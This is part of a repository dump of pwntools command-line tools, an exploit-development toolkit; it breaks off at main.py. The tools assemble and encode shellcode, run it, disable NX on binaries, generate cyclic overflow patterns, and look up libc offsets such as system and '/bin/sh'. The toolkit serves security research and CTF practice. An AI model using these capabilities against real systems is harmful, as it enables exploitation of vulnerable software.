    "content": "import argparse\nimport sys\n\nimport pwnlib.args\npwnlib.args.free_form = False\n\nfrom pwn import *\nfrom pwnlib.commandline import common\n\nparser = common.parser_commands.add_parser(\n    'asm',\n    help = 'Assemble shellcode into bytes',\n    description = 'Assemble shellcode into bytes',\n)\n\nparser.add_argument(\n    'lines',\n    metavar='line',\n    nargs='*',\n    help='Lines to assemble. If none are supplied, use stdin'\n)\n\nparser.add_argument(\n    \"-f\", \"--format\",\n    help=\"Output format (defaults to hex for ttys, otherwise raw)\",\n    choices=['raw', 'hex', 'string', 'elf']\n)\n\nparser.add_argument(\n    \"-o\",\"--output\",\n    metavar='file',\n    help=\"Output file (defaults to stdout)\",\n    type=argparse.FileType('wb'),\n    default=getattr(sys.stdout, 'buffer', sys.stdout)\n)\n\nparser.add_argument(\n    '-c', '--context',\n    metavar = 'context',\n    action = 'append',\n    type   = common.context_arg,\n    choices = common.choices,\n    help = 'The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: %s' % common.choices,\n)\n\nparser.add_argument(\n    '-v', '--avoid',\n    action='append',\n    help = 'Encode the shellcode to avoid the listed bytes (provided as hex)'\n)\n\nparser.add_argument(\n    '-n', '--newline',\n    dest='avoid',\n    action='append_const',\n    const='0a',\n    help = 'Encode the shellcode to avoid newlines'\n)\n\nparser.add_argument(\n    '-z', '--zero',\n    dest='avoid',\n    action='append_const',\n    const='00',\n    help = 'Encode the shellcode to avoid NULL bytes'\n)\n\n\nparser.add_argument(\n    '-d',\n    '--debug',\n    help='Debug the shellcode with GDB',\n    action='store_true'\n)\n\nparser.add_argument(\n    '-e',\n    '--encoder',\n    help=\"Specific encoder to use\"\n)\n\nparser.add_argument(\n    '-i',\n    '--infile',\n    help=\"Specify input file\",\n    default=sys.stdin,\n    type=argparse.FileType('r')\n)\n\nparser.add_argument(\n    '-r',\n    '--run',\n    help=\"Run output\",\n    action='store_true'\n)\n\ndef main(args):\n    tty    = args.output.isatty()\n\n    if args.infile.isatty() and not args.lines:\n        parser.print_usage()\n        sys.exit(1)\n\n    data   = '\\n'.join(args.lines) or args.infile.read()\n    output = asm(data.replace(';', '\\n'))\n    fmt    = args.format or ('hex' if tty else 'raw')\n    formatters = {'r':bytes, 'h':enhex, 's':repr}\n\n    if args.avoid:\n        avoid = unhex(''.join(args.avoid))\n        output = encode(output, avoid)\n\n    if args.debug:\n        proc = gdb.debug_shellcode(output, arch=context.arch)\n        proc.interactive()\n        sys.exit(0)\n\n    if args.run:\n        proc = run_shellcode(output)\n        proc.interactive()\n        sys.exit(0)\n\n    if fmt[0] == 'e':\n        args.output.write(make_elf(output))\n        try: os.fchmod(args.output.fileno(), 0o700)\n        except OSError: pass\n    else:\n        output = formatters[fmt[0]](output)\n        if not hasattr(output, 'decode'):\n            output = output.encode('ascii')\n        args.output.write(output)\n\n    if tty and fmt != 'raw':\n        args.output.write(b'\\n')\n\nif __name__ == '__main__':\n    pwnlib.commandline.common.main(__file__, main)\n"
  },
  {
    "path": "pwnlib/commandline/checksec.py",
    "content": "import argparse\nimport sys\n\nfrom pwn import *\nfrom pwnlib.commandline import common\n\nparser = common.parser_commands.add_parser(\n    'checksec',\n    help = 'Check binary security settings',\n    description = 'Check binary security settings',\n)\nparser.add_argument(\n    'elf',\n    nargs='*',\n    help='Files to check'\n)\nparser.add_argument(\n    '--file',\n    nargs='*',\n    dest='elf2',\n    metavar='elf',\n    help='File to check (for compatibility with checksec.sh)'\n)\n\ndef main(args):\n    files = args.elf or args.elf2 or []\n\n    if not files:\n        parser.print_usage()\n        return\n\n    for f in files:\n        try:\n            e = ELF(f)\n        except Exception as e:\n            print(\"{name}: {error}\".format(name=f, error=e))\n\nif __name__ == '__main__':\n    common.main(__file__, main)\n"
  },
  {
    "path": "pwnlib/commandline/common.py",
    "content": "import argparse\nimport os\nimport sys\n\nimport pwnlib\nfrom pwnlib.context import context\n\nchoices = list(map(str, [16,32,64]))\nchoices += list(context.oses)\nchoices += list(context.architectures)\nchoices += list(context.endiannesses)\n\ndef context_arg(arg):\n    try: context.arch = arg\n    except Exception: pass\n    try: context.os = arg\n    except Exception: pass\n    try: context.bits = int(arg)\n    except Exception: arg\n    try: context.endian = arg\n    except Exception: pass\n    return arg\n\nparser = argparse.ArgumentParser(description='Pwntools Command-line Interface',\n                                 prog='pwn')\nparser_commands = parser.add_subparsers(dest='command')\n\ndef main(file=sys.argv[0], command_main=None):\n    name = os.path.splitext(os.path.basename(file))[0]\n    if command_main is None:\n        import importlib\n        command_main = importlib.import_module('pwnlib.commandline.%s' % name).main\n    sys.argv.insert(1, name)\n    entrypoint({name: command_main})\n\ndef deprecated_main():\n    file=sys.argv[0]\n    name = os.path.splitext(os.path.basename(file))[0]\n    import warnings\n    warnings.warn(\"The '%s' command is deprecated and will be removed in a future version. Please use 'pwn %s' instead.\" % (name, name), DeprecationWarning, stacklevel=2)\n    main(file)\n\ndef entrypoint(commands):\n    if len(sys.argv) < 2:\n        parser.print_usage()\n        sys.exit()\n    args = parser.parse_args()\n    with context.local(log_console = sys.stderr):\n        commands[args.command](args)\n"
  },
  {
    "path": "pwnlib/commandline/constgrep.py",
    "content": "import argparse\nimport functools\nimport re\n\nimport pwnlib.args\npwnlib.args.free_form = False\n\nfrom pwn import *\nfrom pwnlib.commandline import common\n\np = common.parser_commands.add_parser(\n    'constgrep',\n    help = \"Looking up constants from header files.\\n\\nExample: constgrep -c freebsd -m  ^PROT_ '3 + 4'\",\n    description = \"Looking up constants from header files.\\n\\nExample: constgrep -c freebsd -m  ^PROT_ '3 + 4'\",\n    formatter_class = argparse.RawDescriptionHelpFormatter,\n)\n\np.add_argument(\n    '-e', '--exact',\n    action='store_true',\n    help='Do an exact match for a constant instead of searching for a regex',\n)\n\np.add_argument(\n    'regex',\n    help='The regex matching constant you want to find',\n)\n\np.add_argument(\n    'constant',\n    nargs = '?',\n    default = None,\n    type = safeeval.expr,\n    help = 'The constant to find',\n)\n\np.add_argument(\n    '-i', '--case-insensitive',\n    action = 'store_true',\n    help = 'Search case insensitive',\n)\n\np.add_argument(\n    '-m', '--mask-mode',\n    action = 'store_true',\n    help = 'Instead of searching for a specific constant value, search for values not containing strictly less bits that the given value.',\n)\n\np.add_argument(\n    '-c', '--context',\n    metavar = 'arch_or_os',\n    action = 'append',\n    type   = common.context_arg,\n    choices = common.choices,\n    help = 'The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: %s' % common.choices,\n)\n\ndef main(args):\n    if args.exact:\n        # This is the simple case\n        print(cpp(args.regex).strip())\n    else:\n        # New we search in the right module.\n        # But first: We find the right module\n        if context.os == 'freebsd':\n            mod = constants.freebsd\n        else:\n            mod = getattr(getattr(constants, context.os), context.arch)\n\n        # Compile the given regex, for optimized lookup\n        if args.case_insensitive:\n            matcher = re.compile(args.regex, re.IGNORECASE)\n        else:\n            matcher = re.compile(args.regex)\n\n        # The found matching constants and the length of the longest string\n        out    = []\n        maxlen = 0\n\n        constant = args.constant\n\n        for k in dir(mod):\n            # No python stuff\n            if k.endswith('__') and k.startswith('__'):\n                continue\n\n            # Run the regex\n            if not matcher.search(k):\n                continue\n\n            # Check if the value has proper type\n            val = getattr(mod, k)\n            if not isinstance(val, pwnlib.constants.constant.Constant):\n                continue\n\n            # Check the constant\n            if constant is not None:\n                if args.mask_mode:\n                    if constant & val != val:\n                        continue\n                else:\n                    if constant != val:\n                        continue\n\n            # Append it\n            out.append((val, k))\n            maxlen = max(len(k), maxlen)\n\n        # Output all matching constants\n        for _, k in sorted(out):\n            print('#define %s %s' % (k.ljust(maxlen), cpp(k).strip()))\n\n        # If we are in match_mode, then try to find a combination of\n        # constants that yield the exact given value\n        # We do not want to find combinations using the value 0.\n        if constant and args.mask_mode:\n            mask = constant\n            good = []\n            out = [(v, k) for v, k in out if v != 0]\n\n            while mask and out:\n                cur = out.pop()\n                mask &= ~cur[0]\n                good.append(cur)\n\n                out = [(v, k) for v, k in out if mask & v == v]\n\n            if functools.reduce(lambda x, cur: x | cur[0], good, 0) == constant:\n                print('')\n                print('(%s) == %s' % (' | '.join(k for v, k in good), args.constant))\n\nif __name__ == '__main__':\n    pwnlib.commandline.common.main(__file__, main)\n"
  },
  {
    "path": "pwnlib/commandline/cyclic.py",
    "content": "import argparse\nimport string\nimport sys\n\nimport pwnlib.args\npwnlib.args.free_form = False\n\nfrom pwn import *\nfrom pwnlib.commandline import common\n\nparser = common.parser_commands.add_parser(\n    'cyclic',\n    help = \"Cyclic pattern creator/finder\",\n    description = \"Cyclic pattern creator/finder\"\n)\n\nparser.add_argument(\n    '-a', '--alphabet',\n    metavar = 'alphabet',\n    default = string.ascii_lowercase.encode(),\n    type = packing._encode,\n    help = 'The alphabet to use in the cyclic pattern (defaults to all lower case letters)',\n)\n\nparser.add_argument(\n    '-n', '--length',\n    metavar = 'length',\n    default = 4,\n    type = int,\n    help = 'Size of the unique subsequences (defaults to 4).'\n)\n\nparser.add_argument(\n    '-c', '--context',\n    metavar = 'context',\n    action = 'append',\n    type   = common.context_arg,\n    choices = common.choices,\n    help = 'The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: %s' % common.choices,\n)\n\ngroup = parser.add_mutually_exclusive_group(required=False)\ngroup.add_argument(\n    '-l', '-o', '--offset', '--lookup',\n    dest = 'lookup',\n    type = str.encode,\n    metavar = 'lookup_value',\n    help = 'Do a lookup instead printing the alphabet',\n)\n\ngroup.add_argument(\n    'count',\n    type=int,\n    nargs='?',\n    default=None,\n    help='Number of characters to print'\n)\n\ndef main(args):\n    alphabet = args.alphabet\n    subsize  = args.length\n\n    if args.lookup:\n        pat = args.lookup\n\n        try:\n            pat = int(pat, 0)\n            pat = pack(pat, 'all')\n        except ValueError:\n            pass\n        pat = flat(pat, bytes=args.length)\n\n        if len(pat) < subsize:\n            log.critical('Subpattern must be at least %d bytes' % subsize)\n            sys.exit(1)\n        else:\n            pat = pat[:subsize]\n\n        if not all(c in alphabet for c in pat):\n            log.critical('Pattern contains characters not present in the alphabet')\n            sys.exit(1)\n\n        offset = cyclic_find(pat, alphabet, subsize)\n\n        if offset == -1:\n            log.critical('Given pattern does not exist in cyclic pattern')\n            sys.exit(1)\n        else:\n            print(offset)\n    else:\n        want   = args.count\n        result = cyclic(want, alphabet, subsize)\n        got    = len(result)\n        if want is not None and got < want:\n            log.failure(\"Alphabet too small (max length = %i)\" % got)\n\n        out = getattr(sys.stdout, 'buffer', sys.stdout)\n        out.write(result)\n\n        if out.isatty():\n            out.write(b'\\n')\n\nif __name__ == '__main__':\n    pwnlib.commandline.common.main(__file__, main)\n"
  },
  {
    "path": "pwnlib/commandline/debug.py",
    "content": "import argparse\nimport sys\n\nfrom pwn import *\nfrom pwnlib.commandline import common\n\nparser = common.parser_commands.add_parser(\n    'debug',\n    help = 'Debug a binary in GDB',\n    description = 'Debug a binary in GDB'\n)\nparser.add_argument(\n    '-x', metavar='GDBSCRIPT',\n    type=argparse.FileType('r'),\n    help='Execute GDB commands from this file.'\n)\nparser.add_argument(\n    '--pid',\n    type=int,\n    help=\"PID to attach to\"\n)\nparser.add_argument(\n    '-c', '--context',\n    metavar = 'context',\n    action = 'append',\n    type   = common.context_arg,\n    choices = common.choices,\n    help = 'The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: %s' % common.choices,\n)\nparser.add_argument(\n    '--exec',\n\n    # NOTE: Type cannot be \"file\" because we may be referring to a remote\n    #       file, or a file on an Android device.\n    type=str,\n\n    dest='executable',\n    help='File to debug'\n)\nparser.add_argument(\n    '--process', metavar='PROCESS_NAME',\n    help='Name of the process to attach to (e.g. \"bash\")'\n)\nparser.add_argument(\n    '--sysroot', metavar='SYSROOT',\n    type=str,\n    default='',\n    help=\"GDB sysroot path\"\n)\n\ndef main(args):\n    gdbscript = ''\n    if args.x:\n        gdbscript = args.x.read()\n\n    if context.os == 'android':\n        context.device = adb.wait_for_device()\n\n    if args.executable:\n        if os.path.exists(args.executable):\n            context.binary = ELF(args.executable)\n            target = context.binary.path\n\n        # This path does nothing, but avoids the \"print_usage()\"\n        # path below.\n        elif context.os == 'android':\n            target = args.executable\n    elif args.pid:\n        target = int(args.pid)\n    elif args.process:\n        if context.os == 'android':\n            target = adb.pidof(args.process)\n        else:\n            target = pidof(args.process)\n\n        # pidof() returns a list\n        if not target:\n            log.error(\"Could not find a PID for %r\", args.process)\n\n        target = target[0]\n\n        # pidof will sometimes return all PIDs, including init\n        if target == 1:\n            log.error(\"Got PID 1 from pidof.  Check the process name, or use --pid 1 to debug init\")\n    else:\n        parser.print_usage()\n        return 1\n\n    if args.pid or args.process:\n        pid = gdb.attach(target, gdbscript=gdbscript, sysroot=args.sysroot)\n\n        # Since we spawned the gdbserver process, and process registers an\n        # atexit handler to close itself, gdbserver will be terminated when\n        # we exit.  This will manifest as a \"remote connected ended\" or\n        # similar error message.  Hold it open for the user.\n        log.info(\"GDB connection forwarding will terminate when you press enter\")\n        pause()\n    else:\n        gdb.debug(target, gdbscript=gdbscript, sysroot=args.sysroot).interactive()\n\nif __name__ == '__main__':\n    pwnlib.commandline.common.main(__file__, main)\n"
  },
  {
    "path": "pwnlib/commandline/disablenx.py",
    "content": "import argparse\nfrom pwn import *\nfrom pwnlib.commandline import common\n\nparser = common.parser_commands.add_parser(\n    'disablenx',\n    help = 'Disable NX for an ELF binary',\n    description = 'Disable NX for an ELF binary'\n)\nparser.add_argument(\n    'elf',\n    nargs='+',\n    type=argparse.FileType('rb'),\n    help='Files to check'\n)\n\ndef main(args):\n    for f in args.elf:\n        e = ELF(f.name)\n        e.disable_nx()\n        ELF(e.path)\n\nif __name__ == '__main__':\n    pwnlib.commandline.common.main(__file__, main)\n"
  },
  {
    "path": "pwnlib/commandline/disasm.py",
    "content": "import argparse\nimport re\nimport string\nimport sys\n\nimport pwnlib.args\npwnlib.args.free_form = False\n\nfrom pwn import *\nfrom pwnlib.commandline import common\n\nparser = common.parser_commands.add_parser(\n    'disasm',\n    help = 'Disassemble bytes into text format',\n    description = 'Disassemble bytes into text format'\n)\n\nparser.add_argument(\n    'hex',\n    metavar = 'hex',\n    nargs = '*',\n    help = 'Hex-string to disassemble. If none are supplied, then it uses stdin in non-hex mode.'\n)\n\nparser.add_argument(\n    '-c', '--context',\n    metavar = 'arch_or_os',\n    action = 'append',\n    type   = common.context_arg,\n    choices = common.choices,\n    help = 'The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: %s' % common.choices,\n)\n\n\nparser.add_argument(\n    \"-a\",\"--address\",\n    metavar='address',\n    help=\"Base address\",\n    type=str,\n    default='0'\n)\n\n\nparser.add_argument(\n    '--color',\n    help=\"Color output\",\n    action='store_true',\n    default=sys.stdout.isatty()\n)\n\nparser.add_argument(\n    '--no-color',\n    help=\"Disable color output\",\n    action='store_false',\n    dest='color'\n)\n\n\ndef main(args):\n    if len(args.hex) > 0:\n        dat = ''.join(args.hex).encode('utf-8', 'surrogateescape')\n        dat = dat.translate(None, string.whitespace.encode('ascii'))\n        if not set(string.hexdigits.encode('ascii')) >= set(dat):\n            print(\"This is not a hex string\")\n            exit(-1)\n        dat = unhex(dat)\n    else:\n        dat = getattr(sys.stdin, 'buffer', sys.stdin).read()\n\n\n    if args.color:\n        from pygments import highlight\n        from pygments.formatters import TerminalFormatter\n        from pwnlib.lexer import PwntoolsLexer\n\n        dis = disasm(dat, vma=safeeval.const(args.address))\n\n        # Note: those patterns are copied from disasm function\n        pattern = '^( *[0-9a-f]+: *)((?:[0-9a-f]+ )+ *)(.*)'\n        lines = []\n        for line in dis.splitlines():\n            match = re.search(pattern, line)\n            if not match:\n                # Append as one element tuple\n                lines.append((line,))\n                continue\n\n            groups = match.groups()\n            o, b, i = groups\n\n            lines.append((o, b, i))\n\n\n        highlight_bytes = lambda t: ''.join(map(lambda x: x.replace('00', text.red('00')).replace('0a', text.red('0a')), group(2, t)))\n        for line in lines:\n            if len(line) == 3:\n                o, b, i = line\n                b = ' '.join(highlight_bytes(bb) for bb in b.split(' '))\n                i = highlight(i.strip(), PwntoolsLexer(), TerminalFormatter()).strip()\n                i = i.replace(',',', ')\n                print(o,b,i)\n            else:\n                print(line[0])\n        return\n\n    print(disasm(dat, vma=safeeval.const(args.address)))\n\nif __name__ == '__main__':\n    pwnlib.commandline.common.main(__file__, main)\n"
  },
  {
    "path": "pwnlib/commandline/elfdiff.py",
    "content": "import shutil\nfrom argparse import ArgumentParser\nfrom subprocess import CalledProcessError\nfrom subprocess import check_output\nfrom tempfile import NamedTemporaryFile\n\nimport pwnlib.args\npwnlib.args.free_form = False\n\nfrom pwn import *\nfrom pwnlib.commandline import common\n\n\ndef dump(objdump, path):\n    n = NamedTemporaryFile(delete=False)\n    o = check_output([objdump,'-d','-x','-s',path])\n    n.write(o)\n    n.flush()\n    return n.name\n\ndef diff(a,b):\n    try: return check_output(['diff',a,b], universal_newlines=True)\n    except CalledProcessError as e:\n        return e.output\n\np = common.parser_commands.add_parser(\n    'elfdiff',\n    help = 'Compare two ELF files',\n    description = 'Compare two ELF files'\n)\n\np.add_argument('a')\np.add_argument('b')\n\ndef main(a):\n    with context.silent:\n        x = ELF(a.a)\n        y = ELF(a.b)\n\n    if x.arch != y.arch:\n        log.error(\"Architectures are not the same: %s vs %s\" % (x.arch, y.arch))\n\n    context.arch = x.arch\n\n    objdump = pwnlib.asm.which_binutils('objdump')\n\n    tmp = NamedTemporaryFile()\n    name = tmp.name\n\n    shutil.copy(x.path, name)\n    x = dump(objdump, name)\n\n    shutil.copy(y.path, name)\n    y = dump(objdump, name)\n\n    print(diff(x, y))\n\nif __name__ == '__main__':\n    pwnlib.commandline.common.main(__file__, main)\n"
  },
  {
    "path": "pwnlib/commandline/elfpatch.py",
    "content": "import sys\n\nimport pwnlib.args\npwnlib.args.free_form = False\n\nfrom pwn import *\nfrom pwnlib.commandline import common\n\np = common.parser_commands.add_parser(\n    'elfpatch',\n    help = 'Patch an ELF file',\n    description = 'Patch an ELF file'\n)\n\np.add_argument('elf',help=\"File to patch\")\np.add_argument('offset',help=\"Offset to patch in virtual address (hex encoded)\")\np.add_argument('bytes',help='Bytes to patch (hex encoded)')\n\n\ndef main(a):\n    if not a.offset.startswith('0x'):\n        a.offset = '0x' + a.offset\n\n    offset = int(a.offset, 16)\n    bytes  = unhex(a.bytes)\n\n    with context.silent:\n        elf    = ELF(a.elf)\n\n    elf.write(offset, bytes)\n    getattr(sys.stdout, 'buffer', sys.stdout).write(elf.get_data())\n\nif __name__ == '__main__':\n    pwnlib.commandline.common.main(__file__, main)\n"
  },
  {
    "path": "pwnlib/commandline/errno.py",
    "content": "import argparse\nimport os\nimport errno\n\nfrom pwnlib.commandline import common\n\nparser = common.parser_commands.add_parser(\n    'errno',\n    help = 'Prints out error messages',\n    description = 'Prints out error messages'\n)\n\nparser.add_argument(\n    'error', help='Error message or value', type=str\n)\n\ndef main(args):\n  try:\n    value = int(args.error, 0)\n\n    if value < 0:\n      value = -value\n\n    if 0x100000000 - value < 0x200:\n      value = 0x100000000 - value\n\n    if value not in errno.errorcode:\n      print(\"No errno for %s\" % value)\n      return\n\n    name = errno.errorcode[value]\n\n  except ValueError:\n    name = args.error.upper()\n\n    if not hasattr(errno, name):\n      print(\"No errno for %s\" % name)\n      return\n\n    value = getattr(errno, name)\n\n\n  print('#define', name, value)\n  print(os.strerror(value))\n\nif __name__ == '__main__':\n    common.main(__file__, main)\n"
  },
  {
    "path": "pwnlib/commandline/hex.py",
    "content": "import argparse\nimport sys\n\nfrom pwnlib.commandline import common\nfrom pwnlib.util.fiddling import enhex\nfrom pwnlib.util.lists import group\n\nparser = common.parser_commands.add_parser(\n    'hex',\n    help = 'Hex-encodes data provided on the command line or stdin',\n    description = 'Hex-encodes data provided on the command line or stdin')\n\nparser.add_argument('data', nargs='*',\n    help='Data to convert into hex')\n\nparser.add_argument(\n    '-p', '--prefix',\n    metavar = 'prefix',\n    type = str,\n    default = '',\n    help = 'Insert a prefix before each byte',\n)\n\nparser.add_argument(\n    '-s', '--separator',\n    metavar = 'separator',\n    type = str,\n    default = '',\n    help = 'Add a separator between each byte',\n)\n\ndef format_hex(hex_string, prefix, separator):\n    return separator.join([prefix + x for x in group(2, hex_string)])\n\ndef main(args):\n    if not args.data:\n        encoded = enhex(getattr(sys.stdin, 'buffer', sys.stdin).read())\n    else:\n        data = ' '.join(args.data)\n        if not hasattr(data, 'decode'):\n            data = data.encode('utf-8', 'surrogateescape')\n        encoded = enhex(data)\n\n    if args.prefix or args.separator:\n        encoded = format_hex(encoded, args.prefix, args.separator)\n\n    print(encoded)\n\nif __name__ == '__main__':\n    common.main(__file__, main)\n"
  },
  {
    "path": "pwnlib/commandline/libcdb.py",
    "content": "#!/usr/bin/env python3\nimport re\nimport shutil\nimport sys\n\nimport pwnlib.args\npwnlib.args.free_form = False\n\nfrom pwn import *\nfrom pwnlib.commandline import common\n\nparser = common.parser_commands.add_parser(\n    'libcdb',\n    help = 'Print various information about a libc binary',\n    description = 'Print various information about a libc binary'\n)\n\nlibc_commands = parser.add_subparsers(\n    dest = 'libc_command'\n)\n\nlookup_parser = libc_commands.add_parser(\n    'lookup',\n    help = 'Lookup a libc version by function offsets',\n    description = 'Lookup a libc version by function offsets'\n)\n\nlookup_parser.add_argument(\n    'symbol_offset_pairs',\n    metavar = 'symbol_offset_pairs',\n    nargs = '+',\n    help = 'Symbol and offset pairs to lookup matching libc version. Can be any number of pairs to narrow the search. Example: \"read 3e0 write 520\"'\n)\n\nlookup_parser.add_argument(\n    '-d', '--download-libc',\n    action = 'store_true',\n    default = False,\n    help = 'Attempt to download the matching libc.so'\n)\n\nlookup_parser.add_argument(\n    '--no-unstrip',\n    action = 'store_false',\n    dest = 'unstrip',\n    help = 'Do NOT attempt to unstrip the libc binary with debug symbols from a debuginfod server'\n)\n\nlookup_parser.add_argument(\n    '--offline-only',\n    action = 'store_true',\n    default = False,\n    dest = 'offline_only',\n    help = 'Attempt to searching with offline only mode'\n)\n\nhash_parser = libc_commands.add_parser(\n    'hash',\n    help = 'Display information of a libc version given an unique hash',\n    description = 'Display information of a libc version given an unique hash'\n)\n\nhash_parser.add_argument(\n    'hash_value',\n    metavar = 'hash_value',\n    nargs = '+',\n    help = 'Hex encoded hash value'\n)\n\nhash_parser.add_argument(\n    '-t', '--hash_type',\n    nargs = '?',\n    type = str,\n    choices = ['id', 'buildid', 'md5', 'sha1', 'sha256'],\n    default = 'buildid',\n    help = 'The type of the provided hash value. Supported hashtypes: id, buildid, md5, sha1, sha256'\n)\n\nhash_parser.add_argument(\n    '-d', '--download-libc',\n    action = 'store_true',\n    default = False,\n    help = 'Attempt to download the matching libc.so'\n)\n\nhash_parser.add_argument(\n    '--no-unstrip',\n    action = 'store_false',\n    dest = 'unstrip',\n    help = 'Do NOT attempt to unstrip the libc binary with debug symbols from a debuginfod server'\n)\n\nhash_parser.add_argument(\n    '--offline-only',\n    action = 'store_true',\n    default = False,\n    dest = 'offline_only',\n    help = 'Attempt to searching with offline only mode'\n)\n\nfile_parser = libc_commands.add_parser(\n    'file',\n    help = 'Dump information about a libc binary',\n    description = 'Dump information about a libc binary'\n)\n\nfile_parser.add_argument(\n    'files',\n    metavar = 'files',\n    nargs = '+',\n    help = 'Libc binary to dump'\n)\n\nfile_parser.add_argument(\n    '-s', '--symbols',\n    metavar = 'symbols',\n    nargs = '*',\n    help = 'List of symbol offsets to dump in addition to the common ones'\n)\n\nfile_parser.add_argument(\n    '-o', '--offset',\n    metavar = 'offset',\n    type = str,\n    help = 'Display all offsets relative to this symbol'\n)\n\nfile_parser.add_argument(\n    '--unstrip',\n    action = 'store_true',\n    dest = 'unstrip',\n    help = 'Attempt to unstrip the libc binary inplace with debug symbols from a debuginfod server'\n)\n\nfetch_parser = libc_commands.add_parser(\n    'fetch',\n    help = 'Fetch libc database',\n    description = 'Fetch libc database. If no argument passed, it will init and upgrade libc-database repository',\n)\n\nfetch_parser.add_argument(\n    'path',\n    nargs = '?',\n    default = context.local_libcdb,\n    help = 'Set libc-database path, If it is empty, the default path will be `context.local_libcdb` (%s)' % context.local_libcdb\n)\n\nfetch_parser.add_argument(\n    '-u', '--update',\n    metavar = 'update',\n    nargs = '+',\n    choices = ['all', 'ubuntu', 'debian', 'rpm', 'centos', 'arch', 'alpine', 'kali', 'parrotsec', 'launchpad'],\n    help = 'Fetch the desired libc categories'\n)\n\ncommon_symbols = ['dup2', 'printf', 'puts', 'read', 'system', 'write']\n\ndef print_libc_info(libc):\n    log.info('%s', text.red(libc['id']))\n    log.indented('\\t%-20s %s', text.green('BuildID:'), libc['buildid'])\n    log.indented('\\t%-20s %s', text.green('MD5:'), libc['md5'])\n    log.indented('\\t%-20s %s', text.green('SHA1:'), libc['sha1'])\n    log.indented('\\t%-20s %s', text.green('SHA256:'), libc['sha256'])\n    log.indented('\\t%s', text.green('Symbols:'))\n    for symbol in libc['symbols'].items():\n        log.indented('\\t%25s = %s', symbol[0], symbol[1])\n\ndef print_libc_elf(exe):\n    from hashlib import md5, sha1, sha256\n\n    log.info('%s', text.red(os.path.basename(exe.path)))\n\n    libc_version = get_libc_version(exe)\n    if libc_version:\n        log.indented('%-20s %s', text.green('Version:'), libc_version)\n\n    if exe.buildid:\n        log.indented('%-20s %s', text.green('BuildID:'), enhex(exe.buildid))\n\n    log.indented('%-20s %s', text.green('MD5:'), md5(exe.data).hexdigest())\n    log.indented('%-20s %s', text.green('SHA1:'), sha1(exe.data).hexdigest())\n    log.indented('%-20s %s', text.green('SHA256:'), sha256(exe.data).hexdigest())\n\n    # Always dump the basic list of common symbols\n    log.indented('%s', text.green('Symbols:'))\n    synthetic_symbols = collect_synthetic_symbols(exe)\n\n    symbols = common_symbols + (args.symbols or []) + synthetic_symbols\n    symbols.sort()\n    for symbol in symbols:\n        if symbol not in exe.symbols:\n            log.indented('%25s = %s', symbol, text.red('not found'))\n        else:\n            log.indented('%25s = %#x', symbol, translate_offset(exe.symbols[symbol], args, exe))\n\ndef get_libc_version(exe):\n    res = re.search(br'libc[ -](\\d+\\.\\d+)', exe.data)\n    if res:\n        return res.group(1).decode()\n    return None\n\ndef translate_offset(offs, args, exe):\n    if args.offset:\n        if args.offset not in exe.symbols:\n            log.info_once('offset symbol %s not found. ignoring.', args.offset)\n            return offs\n        return offs - exe.symbols[args.offset]\n    return offs\n\ndef collect_synthetic_symbols(exe):\n    available_symbols = []\n    try:\n        exe.symbols['str_bin_sh'] = next(exe.search(b'/bin/sh\\x00'))\n        available_symbols.append('str_bin_sh')\n    except StopIteration:\n        pass\n\n    libc_start_main_return = exe.libc_start_main_return\n    if libc_start_main_return > 0:\n        exe.symbols['__libc_start_main_ret'] = libc_start_main_return\n        available_symbols.append('__libc_start_main_ret')\n\n    return available_symbols\n\ndef main(args):\n    if len(sys.argv) < 3:\n        parser.print_usage()\n        sys.exit()\n\n    if args.libc_command == 'lookup':\n        pairs = args.symbol_offset_pairs\n        if len(pairs) % 2 != 0:\n            log.failure('Uneven number of arguments. Please provide \"symbol offset\" pairs')\n            return\n\n        symbols = {pairs[i]:pairs[i+1] for i in range(0, len(pairs), 2)}\n        matched_libcs = libcdb.search_by_symbol_offsets(symbols, offline_only=args.offline_only, return_raw=True)\n\n        if not matched_libcs:\n            return\n\n        for libc in matched_libcs:\n            print_libc_info(libc)\n            if args.download_libc:\n                path = libcdb.search_by_build_id(libc['buildid'], args.unstrip)\n                if path:\n                    shutil.copy(path, './{}.so'.format(libc['id']))\n\n    elif args.libc_command == 'hash':\n        inverted_map = {v: k for k, v in libcdb.MAP_TYPES.items()}\n        hash_type = inverted_map.get(args.hash_type, args.hash_type)\n\n        for hash_value in args.hash_value:\n            path = libcdb.search_by_hash(hash_value, hash_type, unstrip=args.unstrip, offline_only=args.offline_only)\n            exe = ELF(path, checksec=False)\n            print_libc_elf(exe)\n\n            if args.download_libc:\n                # if we cannot get actual libc version then copy with cache name\n                shutil.copy(path, './libc-{}.so'.format(get_libc_version(exe) or Path(path).stem))\n\n    elif args.libc_command == 'file':\n        for file in args.files:\n            if not os.path.exists(file) or not os.path.isfile(file):\n                log.failure('File does not exist %s', args.file)\n                continue\n\n            if args.unstrip:\n                if not libcdb.unstrip_libc(file):\n                    log.failure('Failed to unstrip libc binary %s', file)\n                    continue\n\n            print_libc_elf(ELF(file, checksec=False))\n\n    elif args.libc_command == 'fetch':\n\n        if args.update:\n            subprocess.check_call(['./get'] + args.update, cwd=args.path)\n\n        else:\n            if not Path(args.path).exists():\n                if yesno(\"Would you like to initialize the libc-database repository? \"\n                         \"If the path already exists, this prompt will not display, and automatically upgrade repository.\"):\n                    log.waitfor(\"init libc-database repository\")\n                    subprocess.check_call(['git', 'clone', 'https://github.com/niklasb/libc-database/', args.path])\n            else:\n                log.waitfor(\"upgrade libc-database repository\")\n                subprocess.check_call(['git', 'pull'], cwd=args.path)\n\n\nif __name__ == '__main__':\n    pwnlib.commandline.common.main(__file__, main)\n"
  },
  {
    "path": "pwnlib/commandline/main.py",
